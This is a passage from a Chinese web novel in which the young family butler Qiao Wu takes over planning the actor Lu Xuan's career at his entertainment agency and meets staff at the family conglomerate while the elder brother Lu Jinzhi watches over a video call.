“谁说我仅仅是管家,我爸以前就从没管过你的工作吧?”乔梧解释,“除了你,我还要管其他几个人,你觉得你们谁是省油的灯?再者还有陆尽之。” 陆宣语气怪异:“他也能管?” 那这么多钱就是正常的了。 “他比你们省心,不过我更多是辅佐他。” “你……” 陆宣想说陆尽之那个人谁来辅佐都行,就是不可能是你。 陆尽之自己怪胎,对身边的人要求也很高。 可一想到最近乔梧的改变,这话怎么也说不出口,他莫名觉得,如果陆尽之看到的是现在的乔梧,说不准真的会让她待在身边。 要是陆尽之真的认可了,那就真的谁也不能撬得动乔梧了。 “那我……”陆宣想了想,“也不是请不起。” 乔梧失笑:“用你爸和你哥的钱来请我啊?” “那怎么了?”陆宣轻挑道,“写了我的名字就是我的。” “我拒绝。” “为什么?” 乔梧歪着头看他,眼里全是笑意:“我喜欢跟聪明有能力的人一起工作,所以等你什么时候能用自己挣的钱来聘请我,我再考虑。” “跟钱过不去什么,还分是什么钱?” 乔梧想了想,稍稍正色:“不仅是钱,也挑人。” 这话在陆宣耳朵里无非就是她不喜欢他,所以不愿意跟他共事,他表情变淡,没什么情绪地扯了扯唇角。 “如果仅仅是钱的确不分,但我认为我的老板一定要是很厉害的人。”乔梧弯眸,带着与生自来的骄傲,“否则连我都不如的人,凭什么让我认可。” 换做是任何一个人说这句话,陆宣就要发火了。 可当他抬眼看到乔梧眸中的笑意,她自信自若的模样,却又有种错觉,仿佛她从来都是这样不可否认的优秀。 他无法反驳。 也是这个时候,他忽然明白了陆应池说的那句话。 她要的不是钱,是能配得上她的人。 很快车在公司停车场停下。 乔梧之所以一定要过来,是因为当初陆宣进娱乐圈时没有得到陆江的允许,所以也没有进陆氏旗下的娱乐公司。 GS公司虽然规模也不小,但每个娱乐公司都那样资源分布不齐。 他们接受陆宣,是想要陆宣给他们带来更大的经济效益,带来资源,而不是用自己的资源去捧一个什么都不会还不愿意学习的二世祖。 所以在看到陆宣那么好哄后,给陆宣的东西都是哄着他玩的,经纪人也是如此,只要少爷开心了就好。 但少爷要是想要大资源,那是万万不可以毁掉自己招牌口碑的。 当初的“她”为了让除陆尽之以外的其他人混得一个比一个差,没有竞争力,所以也不予余力地教唆陆宣一定要做大男主,不能给人做配自掉身价。 导致陆宣进圈以来资源一个不如一个,在公司口碑也很不好。 很多人都是表面喊着陆老师,背地里不知道怎么编排这个富二代。 乔梧完全可以让陆宣重新组一个班子自己开工作室,但陆宣现在还是个新人阶段,身上还有合约在身,不能让他什么事情都想着自己有择优权,能力和责任缺一不可。 两人一起走出电梯就引起了不少人的注意。 公司墙上挂着很多艺人的海报,从火的到小透明,无一不是万里挑一的帅哥美女,公司的员工也算有见识了。 可一看到乔梧却依旧挪不开眼。 有员工忍不住问:“陆老师,您这边这是公司新签的艺人吗?” “是吧。”陆宣随口应声,若有所思地问,“你觉得她会火吗?” “会!” 有这颜值气质,不直接靠脸吃饭? 看陆宣不都能靠着一张脸硬生生走出来么! 黑红那不也是红? 闻言乔梧也笑:“谢谢。” 说着还看了陆宣一眼,微微挑眉。 看,在哪我都这么优秀。 陆宣鼻子里轻哼一声,懒声道:“可惜了,我要雪藏她,不让她出头。” 周围的人瞪大眼睛,愤愤不平。 这还是人吗! 果然你都是黑粉是有原因的! 这时有人从前面迎来:“陆老师!” 目光转到乔梧身上,忽的呆了:“您是……乔梧?” “你好。”乔梧来之前就跟这边的人联系过,“我们找个地方谈?” 那人有点手忙脚乱:“好好好,您跟我来。” 电话里约好是来谈经纪人和以后陆宣的发展的,所以他还以为是陆家的什么秘书之类的。 可这个女人怎么都不像秘书啊!跟陆宣站在一起好像刚从哪个秀场走出来一样。 “那陆老师先自便?”他问。 以前陆老师最讨厌听这些繁琐的东西,直接都让公司决定了。 陆宣也是这么想的。 可他头还没点呢,乔梧就扫了个眼神过来:“你也一起。” 陆宣脚尖一转,双手插兜跟在她身边就走了。 周围其他人:“……” 这架势,到底谁雪藏谁啊。 来到办公室,工作人员就把之前准备好的计划书递给乔梧:“这是未来三年陆老师的工作规划,陆老师之前也知道的,说是没什么问题。” 突然被CUE的陆宣:“……” 之前是没问题,都是他想演的男主角。 但他一想到乔梧说之前的电视剧,她看不下去,他忽然就有点拿不稳了。 见乔梧似笑非笑看过来,他视线掩饰性转移:“倒也没有那么绝对。” 工作人员:“?” 他拿着资料,有点为难:“那……” 纤细漂亮的手将那份资料接了过去。 工作人员松了口气刚要说话,却见那只手压在资料上没翻开。 那个惊艳了整个公司的漂亮女人视线轻轻扫过他胸前的工作证,抬眸时目光带着不容忽视的压迫感。 她笑意未改,只是反手将资料扔在桌上,清脆一声响。 “我怎么记得我说的是,让总监来跟我谈?” 第16章 第十六章用来辟邪 话音一落,不仅是来这儿走个过场的工作人员愣了,连一直心不在焉的陆宣也不由回头看。 乔梧认真的样子让他没来由想起两人回国后见的第一面,她坐在车上笑着说,期待看到他站在领奖台上的那一天。 陆宣今年23,并不是什么都不懂的毛头小子。 当初不惜跟老头翻脸吵架,怀着对偶像憧憬的一腔热忱埋头踏进娱乐圈,他怎么会没有幻想过自己功成名就打脸每一个人的时刻? 所以他也是认真工作过的。 可身边没有一个人相信他,这些人更加相信他的地位他的钱,哪怕是乔梧也那么虚伪的夸他拍得好有前途。 陆宣紧紧盯着乔梧,试图从她身上看出一点做作和虚情假意。 “这就是总监制定的方案。”工作人员硬着头皮说,“先让我送过来。” 乔梧不语,只是靠着沙发慢条斯理地喝着茶。 工作人员只好求助望向陆宣。 到底谁是老板谁是打工的,您这秘书的架势都要骑到您头上了,您……居然在发呆?! 是了,能指望这个二世祖干什么! 艺人总监的工作挺忙的,只要遇到陆宣的事就纯属浪费时间,这才让他过来将人打发走,一个秘书而已,不过就是替陆宣传话的。 可现在情况不太对。 这员工只觉得对方没回话的这段时间度日如年,简直比老板还恐怖。 人家一动不动,一语不发,就是跟你搞心理战呢。 终于他扛不住这压力了, 麻利将桌上的文件收拾好:“总监应该也忙完了,我去看看!” 老子一个月就领你几千块工资,才懒得帮你扛这种事儿! 他飞速跑到总监办公室:“余总,您还是亲自过去看看吧,陆老师的秘书说要跟您亲自谈。” “要谈什么?”余修拧眉,“他喜欢的那些不都放在文件里了?也没太管着他。” 余修不是很喜欢跟陆宣打交道,这少爷脾气不好,更不会圆滑为人,不高兴了摔摔砸砸都是正常的,用他的话来说反正他赔得起,所以能避就避。 “不是陆老师,是他的秘书乔梧。”员工斟酌了一下,“我看她好像挺不一样的,这文件她看都没看。” 秘书? 难道是陆家来给陆宣要资源的? 陆宣只想演男主,但人家大导演大IP谁会愿意让他去演? 余修一想到这个就脑仁疼,当初就不该图陆宣的身份把他签进来,好处没带来一点,整天屁事儿还不少。 担心少爷又发脾气,他很快收拾完手上的工作:“行,我去看看。” 推开会议室的门,余修目光瞬间就被正对着自己的女人抓住了,这么多年看人的挑剔眼光在这一刻得到了极大的满足,他满腔怨气瞬间消散。 女人穿着单肩领的素色连衫裤,手臂上戴着一副镶钻臂钏,正式却又十分有风格。 余修丝毫不掩饰自己的惊艳:“你好。” 见对方抬起头那一刻,他已经把舞台都给对方搭建好,就等聚光灯打在她身上了。 “我是余修,GS的艺人总监。”他主动说。 乔梧站起身伸手:“乔梧。” 乔什么? 余修错愕地望着她,又看了看旁边的陆宣,瞬间觉得暴殄天物! 有这条件干嘛跟着这么个二世祖混啊! 他愣愣跟对方握手,无意识重复:“你好。” 乔梧:“请坐。” “啊?好、好的。” 坐下那一刻余修忽然反应过来,不对,谁是主谁是客啊,怎么突然就被牵着鼻子着走了! 他坐直身体,将刚才那份资料再一次放在桌上:“听说你想跟我谈谈,这里面的方案有什么问题吗?” 乔梧这才将那份计划书打开,可实现才扫过第一页那些名字乱七八糟的电视剧就再次合上了:“全都是问题。” 果然是来要资源的,余修正色:“陆老师的情况比较复杂,公司只能按照他的要求来筛选适合他的项目,这些都是主角,这还有什么问题?公司也要衡量利益得失的,总不能不按照合作方的要求来随便塞人,以后陆老师的口碑也会受影响不是?” 干这行的谁不是张嘴就来,余修还要再继续开口,却被打断了。 “冠冕堂皇的话我们就先略过吧。”乔梧将自己准备的那些资料递过去,“这是我们替陆老师准备的短期发展规划,你看看。” 原来是有备而来。 余修警惕地翻开,看了十来秒后却心下一震。 这份规划书比公司员工做的都要细节和完整,从形象人设到持续发展到资源整合以及艺人团队,由粗到细。 重点是他想象的那些索要不合理资源的情况都没发生,还计划了陆宣每周需要上课的次数和考核时间。 看起来就像是,陆宣要在这条路上认真发展并且付出努力了。 见余修认认真真将那份文件看完,乔梧才递上另一份:“这是他短期内合适的角色和时尚宣传资源。” 余修原本紧锁的眉心在早已经完全舒展开,顾不得去看谁的反应立刻接过去。 从头到尾没有任何一个重要角色,却都不是什么查无此人的小制作,大多剧组班底都能叫得出来名字,哪怕有些籍籍无名的,剧本名字看起来也都挺靠谱。 余修一一看完,呆滞地问:“这是什么意思?” 乔梧笑了笑:“陆老师对娱乐圈了解并不深,也没有过从事这方面的经验,所以过去走了很多弯路,这是其一。” 这话说得太漂亮了点儿。 他了解还不深?他每次接触的那些人谁不是大腕?可他就顾着跟人喝酒去了。 没等余修假模假样附和两句,却听对方话锋却忽然一转:“其二,我是来追责的。” 余修:“追谁的责?” 乔梧淡声道:“陆老师跟你们签订了五年的合同,在合约期间你们有责任替他规划好发展路线并且监督,他年轻没有经验你们还没有吗?” 余修:“……” 二十多岁了还年轻? 难道还要给他喂奶?! “这话不太对。”余修也拿出了自己这么多年跟各种人交锋的本事,“公司没有冷落陆老师,更没有扣下他的任何资源,处处为他着想,结果好坏难道是我们能决定的吗?” “娱乐资源成败天时地利人和缺一不可。”乔梧莞尔,“天时自然不怪你们,但地利人和你们却一样不占。” 余修刚要反驳。 乔梧直接抢占先机,掷地有声:“陆宣的个人能力问题是一部分原因,我们并不否认,但你们任他随心发展不加以干涉难道不是问题?还是说贵公司对待每一个艺人都是这种态度?如果是这样,恕我直言贵公司不如趁早转行。” “不是。”余修气笑了,“合着我们依着他还是错了?那他稍不如意就发脾气耍大牌玩失踪的时候怎么不说呢?” 陆宣脊梁骨被人狠狠戳了一下,嘴唇动了动。 乔梧:“那就算他违约,让他赔钱,他又不是赔不起。” 余修:“……” 陆宣:“……” “你们不愿意放他这条大鱼,表面上百依百顺,背地里却直接拿这种不入流的东西来应付他。”乔梧指尖在之前那份所谓的“规划书”上点了点,“这不是你们的责任吗?” 她笑笑:“余总监,做人既要又要不太好吧?” 余修渗出一背的汗。 因为乔梧并不是无理取闹,说的话除了那句没经验也没任何偏颇,甚至连让陆宣赔钱都说出来了,那他还能说什么。 “所以呢?你现在要跟我们解约?” “那我还拿规划书给你看做什么?”乔梧喝了口水润喉,往后靠去略一抬眼,“只是希望贵司引以为戒,不要再用过去那一套来糊弄我们,像今天这样聊个天都只找个无名小卒过来,你们是怎么对其他人的,以后也怎么对陆宣,但一切都要公平合理,如果再有这样的情况发生,我们也会按照贵司违约处理。” 说得倒是轻巧。 对于公司来说,陆宣要是真的那么听安排,那就省了不少事儿,至少也不会落得个二世祖的称呼。 余修意有所指地朝脸色不太好看的陆宣看了一眼:“这话应该你说了不算,陆老师什么态度?” 乔梧笑意盈盈地回头问:“问你呢陆老师,什么态度?” “原来你们还看得见我啊。” 陆宣抓起自己的墨镜戴上,拒绝交流。 都给他安排得明明白白的了,他还有什么好说的。 余修十分诧异,以他对陆宣的了解来看,这少爷最不喜欢别人骑在他头上替他做决定。 没想到现在反应这么平淡,甚至是和谐。 “既然这样,那就按你说的,如果到时候陆老师不配合,我们也按违约算,到时候你们可别不认。” “没关系。”乔梧说,“我知道他保险柜密码。” 陆宣:“?” “怎么。”乔梧轻飘飘道,“这不是你教的吗?” 余修读不懂这两人之间的哑谜,眼看着对方没有咄咄逼人心里忽然松了一大口气。 说实话,在乔梧面前他的确做不到那么泰然处之跟她谈生意,对方态度简单直接又强势,根本就让你措手不及,有钱人家的秘书都这样颜值与实力并存? “话说回来。”余修蠢蠢欲动地问,“乔小姐这种条件和认知,如果能进娱乐圈前途一定光明,有没有考虑过?” 其实以前不是没有人这么对乔梧说过。 只不过她并不喜欢将自己的生活点滴暴露在那么多人面前,所以对这行没有什么兴趣,她本身也并不是太张扬的人。 还没等她摇头。 一直摆烂的陆宣忽然踢了 一脚桌子,语气不善:“搞清楚,她是我家的人。” 他将墨镜拉下一点,轻嗤:“你那点工资,还不够她买件首饰。” 余修:“……” 再怎么说他也算高收入人群好吧,一个秘书的首饰还买不起? 余光扫到乔梧手臂上的镶钻臂钏,余修愣了愣。 不会吧?真的? 是啊,这气质看起来也不像秘书。 “恕我冒昧。”余修不太确定地问,“乔小姐不是陆老师的秘书吗?” “不是。”乔梧笑道,“我是陆家的管家。” “啊?!” 这么年轻的管家? 不是,这难道会比秘书挣得多?什么管家还兼职敢秘书的活儿。 入圈当明星不比给人打杂好吗! 余修脸上的震惊和惋惜实在太明显,看得陆宣十分不爽。 管家怎么了? “知道她年薪多少吗?” “多少?” 陆宣短促笑了声,捡起桌上的笔在那份废了的规划书上写了个数字,扔到余修面前:“现在知道她跟那些连个规划都写不好的废物东西有什么区别了吗?” 骂谁呢?! 余修低头看了眼,眼珠子差点没瞪出来。 这年头做管家这么有钱了? 她写的计划书是镶了钻吗! 那他确实买不起人家的首饰。 “打扰了。”他干脆利落地说。 嘶,牙好疼。 乔梧转移话题:“不说这个,我在你们给的经纪人名单里挑选了几个合适的,如果余总监有空的话,一会儿帮着挑一挑?” “行。” 等处理完所有的事情已经到下午了,乔梧干脆带着陆宣在外面吃了饭,期间又接到了陆江的电话。 “老先生。” 陆江嗯了一声:“你跟老二联系了吗?他什么时候回国?” “他没说。” 医院里的陆江皱着眉。 老二再怎么手眼通天消息灵通也出国了两年,集团里的大小事他几乎从来不过问,现在说回国就刚回国,到时候他不手忙脚乱才怪。 但转念一想也知道,老二从小就独立,也不过分依赖谁。 乔梧要是待在他身边,怕是也艰难。 “别的先不管,你去公司一趟,我的秘书会在那等你,你们先拟定一个名单。”陆江说,“老二回国这件事可大可小,他需要一个契机。” 乔梧明白了。 陆尽之没有出国之前,国内集团里还是陆江做主。 现在陆尽之出国有了建树,陆江想要给他一个机会坐上位置,就要借着他回国的机会告诉所有人。 可以陆尽之的性格,他并不觉得办一个晚宴就能决定自己是否有能力了,原剧情里“她”借着这个机会瞒着陆尽之办了个声势浩大的晚宴,想要让所有人知道“她”可以站在陆尽之身边。 事实上当天陆尽之根本没有出席,导致被请来的宾客也觉得自己落下了面子,对陆尽之心有不满。 “老先生。”乔梧回神,“这件事不如先跟陆总说了再决定?” 陆江太了解自己的儿子了。 “他不会在意这种社交。” 可能是因为生来就异于常人的聪明,所以他这个儿子在其他方面会更加迟钝。 说白了就是一些普通情绪难以与人共情。 乔梧温声说:“不在意是一回事,商量又是另一回事,您知道他不在意,却依旧要瞒着他做一些事,如果存在信息差,到时候适得其反呢?” 另一头的陆江眸光有点深。 隔了好一会儿才说:“你去公司跟我的秘书对接,到时候再说。” “好的。” 乔知义最近闲着没事都会来医院陪着陆江,见他挂了电话神色莫名,不由得问:“小梧做错什么了吗?” 他真是时时刻刻都在忐忑,深怕什么时候一步错,小梧就万劫不复了。 虽说是现代社会,但生活在陆家这样的环境下,跟伴君如伴虎有什么区别? 陆江抬头打量着他,忽的一笑:“都说虎父无犬子,怎么在你这儿不成立了呢。” “什么?” “我的确对乔梧怀有偏见。”陆江直白地说,“但最近又觉得,她比你更适合这个位置。” 乔知义忠厚没有二心,但他做任何事服从性都很强,性格过于优柔寡断,魄力欠缺。 但乔梧最近的确让陆江刮目相看,对他的话也能不卑不亢有理有据地反驳,果断又不失理智。 听话的人数之不尽,敢说话的人却是少之又少。 陆江问:“你知道吗,前两天老三老四去撬了我的保险柜。” 那警报声整个陆宅都听得见,乔知义刚想说知道,但一看陆江压不住的嘴角又觉得疑惑:“您很高兴?” 陆江不置可否:“第二天他们就来给我道歉了。 “道歉你知道吗?就是跟我说对不起了。” 虽然过程有点曲折。 这医院的门早晚都会被那两个逆子给踢坏。 来道歉跟来要债一样,一个站在门口根本没进来,一个坐在沙发上头都不抬,拽得跟二五八万似的。 但的的确确是说了抱歉。 这要是放在以前,陆江哪里敢想啊。 他顿时觉得自己那几个儿子也不是无可救药,跃跃欲试地思考:“你说,他们对我的保险柜那么好奇,我要不要多放几个?他们想要里面的什么,我多放点。” 乔知义下意识回答:“遗嘱。” “?” 陆江脸上笑意瞬间凝固。 果然,天下就没有白来的道歉。 逆子!!! 他们一分钱都别想要了!- 陆宣今天还不用去上课,听说乔梧要去公司,他也跟着去了,没别的意思,就是想看看花这么多钱请来的管家究竟有多厉害。 他对家里这些钱啊权的都没太大兴趣,也觉得那些为了公司股份兄弟阋墙的人很傻逼。 反正到最后得到遗产股份不就都皆大欢喜了吗,谁乐意跟陆尽之那样整天活在一堆文件里跟人勾心斗角的。 虽然陆家就算不争权夺势,兄弟之间感情也就那样,但一码归一码。 所以他很少来公司,更没有插手过公司的任何事情。 他散漫惯了,这里对他来说就是监狱啊监狱! 从两人走进公司大门开始就有不少员工的视线摸了过来。 “那是陆三少?” “是他,我在热搜上见过,听说脾气不太好老是耍大牌,荤素不忌,风评挺不好的,离远点。” “那他身边那不会是…” 陆宣戴着墨镜肆意地扫视每一个人,闻言走过去,低头挑眼:“知道我脾气不好还敢说那么大声,你哪个部门的叫什么名字?扣你工资。” 那人被吓得脸色一白,慌忙道歉。 将墨镜重新戴好,陆宣又晃回了乔梧身边,轻啧:“突然觉得做老板也不错。” 他越想越觉得有前景:“如果我跟陆尽之把这位置抢过来,到时候你是不是就会来辅佐我了?” 乔梧敷衍道:“嗯嗯嗯。” 陆宣摸摸下巴:“那也不是不行,做老板要干什么?” 乔梧弯唇:“一会儿你就知道了。” 两人直接上了专用电梯。 电梯门一合上,外面就跟炸了锅一样。 “三少怎么会来公司?他身边那人是谁啊?” “老陆总不是病了么,三少可能娱乐圈混不下去想要来接手公司了。” “那二少怎么办?不是说要回国了?” “豪门内斗,处处暗藏杀机,腥风血雨,太恐怖了。” “所以三少身边的人是谁,也是哪个明星吗?” “估计是吧,长得那么好看。” “但我看那气质,怎么像是她在领着三少走?” “不会是夫妻齐心……” 进电梯的两人并不知道外面在议论什么,比起陆宣还会恶劣地去吓唬人,乔梧全程一点反应都没有, 像是眼里根本容不下那些无关紧要的人。 这死样子跟陆尽之简直一模一样。 陆宣就见不得这样,他问:“你以前来过?” “没有。” 二十岁出国,根本没有机会接触集团里的工作。 这些工作对接其实陆江的秘书可以直接跟国外的陆尽之对接,但今天要她过来,无非就是要看看她对公司的事有多大的控制欲以及能力如何。 乔梧并不觉得有什么不妥。 “那你还装得挺有样子的。” “不是装的,我本来就是这样,一个人一张嘴,如果你每句话都要听,那你就做不了自己的事了。” 乔梧笑了笑:“更何况,还是无意义的废话。” 为什么要浪费时间在这种品格低劣的人身上,那人月薪还没她时薪高。 价值不对等。 陆宣靠着电梯厢,目光上上下下地把她看了个遍,莫名觉得自己矮了一截。 底下的传闻越来越离谱,整个集团内部因为陆宣的心血来潮变得人心惶惶,私底下的公司八卦群更是什么猜测都有。 临近回国,陆尽之已经空了不少时间出来,每天听国内公司的人汇报工作。 他不会直接动用陆江的人,免得陆江又心怀芥蒂,但也有自己的渠道,只是比较隐秘。 视频里,对方说着说着语调就变了。 陆尽之撩了下眼,见徐朝眼神飘忽,甚至还能明显地看出来错愕。 他停下动作往后靠,笔尖轻轻在桌面点着发出有规律的声音。 被提醒的徐朝立刻专心下来,今天公司的群实在是太热闹了,他还以为发生了什么大事,所以在汇报期间点开来看了一眼,没想到看到的是三少和一个陌生女人来了公司。 “是三少来了。”他马上解释,“还有个漂亮的女人,大家说可能是他女朋友。” 如果不是颜值过于优秀,也不会有人这么猜想。 “三少也要来公司工作吗?”徐朝疑惑,“我没收到消息。” 陆宣? 签个名都不知道签在甲方乙方的东西,来公司能干什么。 当个吉祥物都晦气。 辟邪还成。 但这个蠢货连保险柜都能撬,还有什么做不出来的。 陆尽之放下笔:“去看看。” 得到命令的徐朝马上起身,他也在总裁办工作,以前就是陆尽之的左膀右臂。 现在陆尽之要回国了,他自然也要继续为陆总工作。 徐朝才把小会议室的门打开,就看到有两人从电梯里走出来,但跟群里说的不太一样,因为明显主位不是陆宣,而是那个女人。 那是…… “小乔管家。”秘书长谢意已经候在旁边,“请跟我来。” 管家? 见他们走过来,徐朝立刻回头看向还没关闭摄像头的电脑。 陆尽之显然也看到了,但不过就瞬息间就做了决定。 见陆总手随意地搭在桌面,目光看向摄像头并没有要关掉的意思,徐朝立刻心领神会,抱着电脑转了个方向,抬头对进门的几人微微点头:“秘书长。” “这是三少你知道,这位是乔梧。”谢意并没有要避着谁,如果乔梧真的能通过老陆总的考核,以后他退休了,徐朝也要跟乔梧打交道,所以道,“你也一起在这儿听听吧。” 然后转身对乔梧道:“这是徐朝,以前跟在小陆总身边的。” 乔梧朝对方伸手:“你好,乔梧。” 离近了看,眼前的女人五官简直无可挑剔,她笑意浅浅像是在发光,更何况气势不输任何人。 至少徐朝没有在过去的老管家身上见过乔梧身上的特质。 在那双浅瞳的注视下,他居然有了种被这样的目光注视很荣幸的错觉。 徐朝下意识捏了捏衣角,确保自己手上没有汗才伸手:“您好,徐朝,我就坐旁边不会打扰你们的。” 说着就立刻退回了自己的位置。 陆宣随手拉开就近的椅子,懒懒散散地坐了下去。 乔梧也跟谢意落座,她的位置正对着徐朝,自然也正对着那个笔记本的摄像头。 比起上次在海边看到的视频和家里的鸡飞狗跳的监控录像,此时镜头里的乔梧更加清晰距离也更近,近到陆尽之能看清她的每一个小动作。 听清她翻阅文件时纸张摩擦的声音。 她在认真做一件事的时候,整个人都是安安静静的,能将自己跟周围隔绝开来,自成一片天地。 陆尽之忽然觉得自己在她身上,看到了过去那个小小的孩子的影子。 她比同龄人都要聪明冷静,所以跟陆宣他们比起来,偶而会让人有这种格格不入的感觉。 小时候看着奇怪,现在看着竟然浑然天成。 好像她本该是这样。 如果是装的,那陆宣实在应该拜她为师,好好学习什么叫出神入化的演技。 但如果不是装的,过去这些年又要怎么解释? 陆尽之听着声音,也无意识地摩挲了下指尖。 镜头这边。 “这是过去需要经手老陆总的一些大项目进度,还有直接关系到小陆总的部门以及每一个员工资料,消息,包括合作关系和竞争公司的相关资料,以便你后续了解。”谢意说,“大部分等小陆总回国后都会有像徐朝这样的员工专门接管,但细节你也需要了解,里外督促。” 乔梧大致翻阅。 手上资料厚厚地一沓,当然不可能指望她在这么短的时间里能够详细看完,那不扯淡么,她又不是扫描仪。 看到徐朝的名字排在第一,她将自己的手机拿出来打开二维码:“这是我的工作号,24小时在线,任何小事只要是能找公司的员工做主的就不能打扰我,必要时消息五分钟内不回就打电话,急事直接打电话,同样的,我希望你也能做到。” 这简单直接又快速的方法让徐朝愣了愣。 直到乔梧疑惑抬眸:“嗯?” “哦哦!”徐朝赶紧拿出自己的手机添加微信。 又听乔梧说:“既然你是陆总身边员工的第一顺位,在你之下两级之外的人无非必要就不用联系我。” 徐朝听得胆战心惊。 您口中那尊大佛还在这儿听着呢。 您咖位有这么大吗,语气这么狂? 乔梧问:“有问题吗?” “我……”徐朝下意识看了电脑一眼,发现陆总那边没有任何反应,便硬着头皮说,“没问题。” 乔梧忽然一笑:“有问题就说,还没开始工作你就对我有质疑,以后还怎么沟通?” 被看穿的徐朝摸了摸鼻尖:“我想问问,为什么?” 乔梧能猜到他的想法,便道:“我是陆氏的管家,并不是陆尽之一个人的,哪怕他是第一顺位,但我的时间也有限,我要确保在最短段时间内有最高的工作效率,这样能明白吗?” 家里佣人汇报工作都只能挑个头来找她,要是公司里谁都要因为大小事来找她,那她还过不过了。 徐朝恍恍惚惚:“明白了。” 一个管家居然还要做这么多事? 乔梧很快就翻好了文件,心中有了大概后问:“目前跟陆总那边对接的人是谁?” “我。”谢意说,“大方向都差不多了,所以最近会把其他细节交给别人。” “别人是谁?徐朝?” “对。” 其实原本应该是乔梧的,但不知道怎么,陆总那边直接点名了徐朝,所以只能这么安排。 “以后说话清楚一点比较好。”乔梧将分好的资料递给了徐朝,“这些项目细节你打印一份,怎么分段怎么划重点应该不用教?” 老板每天都要看数不清的文件,要是每一份都需要自己去看细节,那效率得多低,所以成熟的秘书会替老板把重要的地方做记号。 徐朝点头。 乔梧:“做好之前先给我发一份,我确定没问题了再发给陆总,期限是三天。” 徐朝忍不住问:“为什么您不自己发呢?” 乔梧莞尔:“我只是要确认你的能力是不是能够待在陆总身边,如果你的工作都给我做了,那要你做什么?” “……好的。”这次徐朝已经不用犹豫了,乔梧看起来好像有问必答的样子,既然人家质疑他,他也有权利质疑她啊。 所以徐朝有问题就直接问:“那您 怎么知道我做的是对的还是错的呢?” “只要你把自己的分内工作做好。”乔梧挑眉,“只要从我这里经过手,到时候出了问题我自然会担着,你可以把我们今天的对话原封不动转告陆总。” 好的,陆总已经听到了。 电脑里一个,电脑外一个。 徐朝觉得自己同时被夹击着,头皮发麻。 乔梧手搭在桌面上,笑问:“还有问题吗?” 谢意摇头,其实今天的所有谈话内容在监控里都可以看见,老陆总今天让乔梧过来就是想看看她会如何安排接下来的事情,从这些细节来看看她平时处事的逻辑能力以及魄力。 公司这些项目谁来都要先摸索摸索,哪里能指望她能一下就懂。 所以谢意也很震惊乔梧居然能这么自信就让徐朝给她检查、敢担责任了。 事实上乔梧从小在陆家长大,加上前世的工作经验,自然知道陆家的商业板块都是哪些,学习中都有侧重。 “既然都没问题了,那就到此为止。”乔梧微微颔首,“辛苦了。” 谢意悬着的心终于放下来,露出一抹笑:“您也辛苦了。” 他在老陆总身边待了很多年,对老陆总将这么重要的事交给一个管家这件事很是担心,但现在一看。 小陆总本身就是个很优秀的人,能待在他身边的也是很了不起的人。 谢意转而看向陆宣:“那三少爷今天过来是……” 陆宣从这些人说话开始就没找到机会插进过嘴,甚至听着乔梧说话他下意识都坐直了一点,莫名担心自己因为坐姿不端正被扣工资。 他现在十分不爽,摘下墨镜扔在桌上,拿起那沓厚厚的资料,语气懒散:“我来看看怎么把陆尽之拉下马,自己上位。” 谢意:“……” 徐朝:“!!!” 豪门兄弟之间的宣战,是他们也可以听的吗? 陆宣是很不爽,尤其是听到乔梧亲口说陆尽之是第一顺位以后。 陆尽之这个狗币,小时候就爱从他的书包里抢乔梧。 现在也是。 不就是个总裁么,有多难一样。 “第一顺位是吧?你等着。” 他翻开资料,认认真真看了一分钟。 妈的,根本看不懂! 写的什么玩意儿,更不爽了! 乔梧见他一动不动,忍着笑:“怎么样,还想做老板吗?” 陆宣放下资料,捡回自己的墨镜戴上。 “也就那样吧。”他说,“每天看这种东西,能理解他脑子为什么不正常了,我懒得跟他一样。” 徐朝脚下一软,战战兢兢看向笔记本镜头。 陆总像是没听见似的,甚至唇角还挂着似有若无的笑意。 “屏幕转过去。”他温和地说。 声音不大,但整个小会议室却听得明明白白。 徐朝一抖,颤颤巍巍电脑对准了呆若木鸡的几个人。 看清屏幕里那张脸后,乔梧愣了愣。 比起梦里那个孤寂冷傲的侧影,此时的陆尽之少了几分阴鸷,甚至整个人乍一看如同春风,只有细看才知他眸中的深邃。 他的五官不同陆应池那么桀骜,也不如陆宣那么妖气,却如同墨意一般深刻又疏冷。 陆宣眼睛瞪大,好在他戴上了眼镜,没让谁看出来,他轻嗤:“陆尽之,你是有多阴暗,只会偷听别人说话。” 陆尽之也不跟他急,只是轻轻笑着:“从今天起,你的卡停了。” 第17章 第十七章原文男主 陆尽之说完那句话后,视线才缓缓落在旁边的乔梧身上。 跟他预想中不同,乔梧除了刚开始的惊讶,现在已经恢复了冷静,只是朝着他轻轻点了下头就没其他,无法从她那双眼睛中窥探到一点令人不虞的龌龊心思。 陆尽之不由回想起方才她坐在那里的样子,丝毫没有第一次接手这些杂事的慌乱,也没有任何得意,从头到尾有条不紊,自信有度。 还不如那天在陆宅看到那两个蠢货撬保险柜时情绪起伏大。 他心里突然冒出了一股熟悉莫名的胜负欲。 十多年前他也曾想要窥探到那双平静的眼中,有什么秘密。 思及此,陆尽之没再多说,更没有再多看陆宣一眼:“就这样。” 然后干净利落将视频挂断。 就像陆宣说的,一点都没有在这儿偷听别人说话的自觉,反倒他才是这里的主人一样。 就这样? 乔梧听他的意思,他没有对刚才自己做的那些人提出反驳,是默认了么? “我本来是跟陆总在沟通他回国的事来着。”徐朝忙将电脑抱起来,生怕自己被豪门兄弟的恩怨迁怒,“没什么事的话我就先出去了。” “等一下。”乔梧喊住他,“跟陆总说,我要辞退一个人。” 谢意有些诧异。 虽然是辅佐陆总的,但公司还没人认识她,她也没什么实权,这就要辞退人了? 而且说的是要,不是想。 “谁?”徐朝问。 “营销部专员,薛伟华。” 那个在大厅里乱嚼舌根的员工? 陆宣特意看了对方的工牌,所以记得很清楚。 谢意没有去楼下,好奇问:“发生什么事了?” 陆宣随口解释了两句,挑眉看乔梧:“你不是说不跟这种人一般见识么?” “那是我自己的想法。”乔梧淡声说,“作为一个上市公司的员工,在公共场合管不住自己的嘴,不管说的是谁、说的事情是真是假,只要让任何一个人听到就是不对,这次是我们,万一下次说到客户头上呢?连说个坏话都不知道背人的员工能聪明到哪里去?不如多给比他有能力的人一点机会。” 陆尽之是书中最大的反派,其中离不开他身边有那么多降智的卧龙凤雏,谁知道以后还会捅多大的篓子。 剧情里后来男主就是来公司谈合作,被一些没有眼色踩高捧低的东西看人下菜碟了,这才跟陆尽之的梁子越结越大。 有时候乔梧觉得挺离谱的,凭什么就把这些没脑子的人安排在陆尽之他们身边,惹下的祸还都要给陆尽之他们承担。 让两人对调试试呢,谁能笑到最后还真不一定。 “知道了。”谢意点头,“这件事不用通过陆总,我一会儿就让人事部办事。” 说完朝乔梧示意后也走了。 